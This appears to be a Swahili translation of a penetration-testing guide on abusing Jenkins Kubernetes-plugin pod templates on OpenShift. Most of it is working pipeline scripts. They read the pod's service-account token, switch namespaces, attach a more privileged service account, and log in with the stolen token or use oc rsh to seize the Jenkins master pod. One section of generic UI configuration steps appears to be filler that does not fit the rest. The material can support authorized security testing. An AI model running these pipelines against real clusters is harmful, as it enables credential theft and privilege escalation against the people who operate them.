OpenShift - Jenkins Build Pod Override

Mwandishi halisi wa ukurasa huu ni Fares

Programu-jalizi ya Kubernetes kwa Jenkins

Programu-jalizi hii kwa kiasi kikubwa inahusika na kazi za msingi za Jenkins ndani ya kikundi cha openshift/kubernetes. Nyaraka rasmi hapa Inatoa baadhi ya utendakazi kama uwezo kwa wabunifu wa kubadilisha baadhi ya mipangilio ya msingi ya podi ya ujenzi wa jenkins.

Utendakazi wa Msingi

Programu-jalizi hii inaruhusu wabunifu uwezo wa kujenga kanuni zao katika mazingira yanayofaa.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Baadhi ya matumizi mabaya yakitumia kubadilisha yaml ya podi

Hata hivyo, inaweza kutumiwa vibaya kutumia picha yoyote inayopatikana kama Kali Linux na kutekeleza amri za kiholela kwa kutumia zana zilizosanikishwa kutoka kwenye picha hiyo. Katika mfano hapa chini tunaweza kuchota tokeni ya akaunti ya huduma ya podi inayotumika.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Kubadilisha Ujenzi wa Jenkins wa OpenShift

Unapotumia Jenkins kwenye OpenShift, unaweza kubadilisha mipangilio ya ujenzi kwa kutumia njia ifuatayo:

  1. Nenda kwenye kisanduku cha ujenzi cha Jenkins kwenye OpenShift.

  2. Bonyeza "Configure" kwenye menyu ya kushuka.

  3. Chini ya sehemu ya "Build Configuration", weka mipangilio unayotaka kubadilisha.

  4. Bonyeza "Save" chini ya ukurasa wa mabadiliko.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Kielelezo cha Kubadilisha Jina la Nafasi ya Podi

Unaweza kubadilisha jina la nafasi ya podi kwa kufuata hatua zifuatazo:

  1. Fungua faili ya Jenkinsfile na uongeze sehemu ifuatayo:

openshift.withCluster() {
    openshift.withProject('jina_la_nafasi') {
        // Weka hatua za kujenga podi hapa
    }
}
  1. Badilisha 'jina_la_nafasi' na jina la nafasi unayotaka kutumia.

Kwa kufuata hatua hizi, utaweza kubadilisha jina la nafasi ya podi kwa mafanikio.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Mfano mwingine ambao unajaribu kufunga akaunti ya huduma (ambayo inaweza kuwa na ruhusa zaidi kuliko ile ya msingi, inayotekeleza ujenzi wako) kulingana na jina lake. Unaweza kuhitaji kudhani au kuchambua akaunti za huduma zilizopo kwanza.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Mbinu ile ile inatumika kujaribu kufunga Siri. lengo kuu hapa litakuwa kugundua jinsi ya kusanidi ujenzi wa podi yako ili kugeuza au kupata mamlaka.

Kwenda mbali

Marafiki unapozoea kucheza nayo, tumia maarifa yako kuhusu Jenkins na Kubernetes/Openshift kutafuta upangaji mbaya / matumizi mabaya.

Jiulize maswali yafuatayo:

  • Akaunti ipi ya huduma inatumika kupeleka podi za ujenzi?

  • Ina majukumu na ruhusa gani? Inaweza kusoma siri za nafasi ninayotumia sasa?

  • Je, naweza kuhesabu podi zingine za ujenzi?

  • Kutoka kwa sa iliyoharibiwa, naweza kutekeleza amri kwenye nodi/podi ya bwana?

  • Je, naweza kuhesabu kikundi kingine cha kugeuza mahali pengine?

  • SCC ipi imeomba?

Unaweza kugundua ni amri zipi za oc/kubectl za kutolewa hapa na hapa.

Hali za privesc/pivoting zinazowezekana

Fikiria kwamba wakati wa tathmini yako uligundua kuwa ujenzi wote wa jenkins hufanyika ndani ya nafasi inayoitwa worker-ns. Uligundua kuwa akaunti ya huduma ya msingi inayoitwa default-sa imefungwa kwenye podi za ujenzi, hata hivyo haina ruhusa nyingi isipokuwa ufikiaji wa kusoma kwenye baadhi ya rasilimali lakini uliweza kutambua akaunti ya huduma iliyoipo inayoitwa master-sa. Fikiria pia kuwa una amri ya oc imewekwa ndani ya chombo cha ujenzi kinachofanya kazi.

Kwa skripti ya ujenzi iliyo chini unaweza kuchukua udhibiti wa akaunti ya huduma ya master-sa na kuhesabu zaidi.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Kulingana na ufikiaji wako, unahitaji kuendelea na shambulio lako kutoka kwenye script ya ujenzi au unaweza kuingia moja kwa moja kama sa huyu kwenye kikundi kinachoendeshwa:

oc login --token=$token --server=https://apiserver.com:port

Ikiwa sa hii ina idhini za kutosha (kama pod/exec), unaweza pia kuchukua udhibiti wa kielelezo cha jenkins nzima kwa kutekeleza amri ndani ya podi ya nodi ya bwana, ikiwa inaendeshwa ndani ya nafasi ile ile. Unaweza kutambua podi hii kwa jina lake na kwa ukweli kwamba lazima iwe inapakia PVC (madai ya kiasi endelevu) kutumika kuhifadhi data ya jenkins.

oc rsh pod_name -c container_name

Ikiwa podi ya nodi kuu haifanyi kazi ndani ya anwani ile ile kama wafanyikazi unaweza kujaribu mashambulizi sawa kwa kulenga anwani kuu. Hebu tuchukulie inaitwa jenkins-master. Kumbuka kuwa akaunti ya huduma master-sa inahitaji kuwepo kwenye anwani ya jenkins-master (na huenda isiwepo kwenye anwani ya worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated